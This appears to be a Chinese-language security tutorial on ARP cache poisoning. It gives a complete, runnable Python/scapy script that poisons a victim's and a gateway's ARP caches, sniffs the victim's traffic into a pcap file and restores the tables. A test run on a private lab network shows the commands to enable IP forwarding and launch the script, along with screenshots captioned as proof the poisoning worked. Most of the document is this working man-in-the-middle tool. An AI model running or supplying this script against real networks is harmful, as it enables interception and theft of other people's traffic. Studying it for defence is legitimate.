一、ARP投毒技术

ARP投毒的逻辑:欺骗目标设备,使其相信我们是它的网关;然后欺骗网关,告诉它要发给目标设备的所有流量必须交给我们转发。网络上的每一台设备,都维护着一段ARP缓存,里面记录着最近一段时间本地网络上的MAC地址和IP地址的对应关系。为了实现这一攻击,我们会往这些ARP缓存中投毒,即在缓存中插入我们编造的记录。另外,ARP投毒只对IPv4有效,对IPv6是无效的。

二、代码实例

代码中已有明确注释,因此不再做单独的逻辑解释

#!/usr/bin/python
#-*- coding:utf8 -*-

from scapy.all import *
from multiprocessing import Process
import os
import sys
import time

# 获取任意设备的MAC地址
def get_mac(targetip):
    # 传入目标IP地址并创建一个查询数据包
    # Ether函数将这个数据包全网广播
    # ARP函数构造一个MAC地址查询请求,询问每个节点其它地址是否为这个目标IP地址
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op='who-has',pdst=targetip)
    # srp函数发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac
    resp,_ = srp(packet, timeout=2, retry=10,verbose=False)
    for _,r in resp:
        return r[Ether].src
    return None

class Arper:
    # 用受害者IP地址、网关IP地址、网卡来初始化这个类
    def __init__(self,victim,gateway,interface='eth0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0
        # 填充interface、gateway、gatewaymac、victim、victimmac等成员变量
        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
        print(f'Victim ({victim}) is at {self.victimmac}.')
        print('_'*30)

    # run函数为攻击入口点
    def run(self):
        # 进程一:毒害ARP缓存
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()
        # 进程二:嗅探网络流量、实时监控攻击过程
        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

    # posion函数用于投毒
    def poison(self):
        # 构建毒害受害者的恶意ARP数据包
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src:{poison_victim.psrc}')
        print(f'ip dst:{poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('-'*30)

        # 构建毒害受害者的恶意ARP数据包
        # 毒害网关时会发送受害者的IP地址和攻击者的MAC地址
        # 受害者受害时,会发送网关的IP地址和攻击者的MAC地址
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self.victim
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac
        print(f'ip src:{poison_gateway.psrc}')
        print(f'ip dst:{poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('-' * 30)
        print(f"[*] Beginning the ARP poison. [CTRL+C to stop]")

        # 不停将恶意数据包发往它们的目的地,确保攻击过程中ARP缓存一直处于中毒状态
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                # 开始发送ARP欺骗包(投毒)
                send(poison_victim)
                send(poison_gateway)
            # 按下CTRL+C停止,此时将网络状态恢复为原样,将正确信息发送给受害者和网关
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                # 停2秒
                time.sleep(2)

    # sniff函数用于嗅探
    def sniff(self,count=100):
        # 开始嗅探前休眠5秒,给投毒线程留下足够的启动时间
        time.sleep(5)
        print(f'Sinffing {count} packets')
        # 嗅探带有受害者IP的数据包
        bpf_filter = 'ip host %s' % victim
        # 嗅探指定的个数,默认100个
        packets = sniff(count=count,filter=bpf_filter,iface=self.interface)
        # 将嗅探的数据包存储为arper.pcap的文件
        wrpcap('arper.pcap',packets)
        print('Got the packets')
        # 将ARP表中的数据还原为原来的值,然后终止投毒线程
        self.restore()
        self.poison_thread.terminate()
        print('Finished.')

    # restore函数用于恢复网络设置
    def restore(self):
        # 以下代码调用send函数的方式稍有不同
        print ("Restoring ARP tables...")
        # 把网关原本的IP地址和MAC地址发给受害者
        send(ARP(op=2, psrc=self.gateway, pdst=self.victim, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), count=5)
        # 把受害者原本的IP地址和MAC地址发给网关
        send(ARP(op=2, psrc=self.victim, pdst=self.gateway, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.victimmac), count=5)

if __name__ == '__main__':
    (victim,gateway,interface) = (sys.argv[1],sys.argv[2],sys.argv[3])
    myarp = Arper(victim,gateway,interface)
    myarp.run()

三、运行测试

首先我们看看目标设备上的ARP缓存,用来在完成投毒之后做对比。

python的arp欺骗 python arp攻击代码_信息安全


攻击目标信息:

IP:192.168.153.134

MAC:00:0c:29:fc:a0:91

查看ARP缓存中的网络邻居地址。

python的arp欺骗 python arp攻击代码_IP_02


攻击者信息:

IP:192.168.153.141

MAC:00:0c:29:7f:05:7d

攻击目标网关:
IP:192.168.153.2
MAC:00:50:56:ee:4c:b1


首先对本地主机进行测试,开启对网关和目标设备的流量转发功能(192.168.153.141)。

echo 1 > /proc/sys/net/ipv4/ip_forward

之后运行脚本。

python arper.py 192.168.153.134 192.168.153.2 eth0

如下所示:

python的arp欺骗 python arp攻击代码_IP_03


此时在目标及其上查看网关,可见目标机器的ARP缓存已经被投毒了,其中的网关(192.168.153.2)的MAC地址其实是攻击者的,同时也可以看到攻击者是192.168.153.141,因为它的MAC地址和网关的毒MAC地址是一样的。

python的arp欺骗 python arp攻击代码_信息安全_04


攻击目标信息:

IP:192.168.153.134

网关:192.168.153.2

网关MAC:00:0c:29:7f:05:7d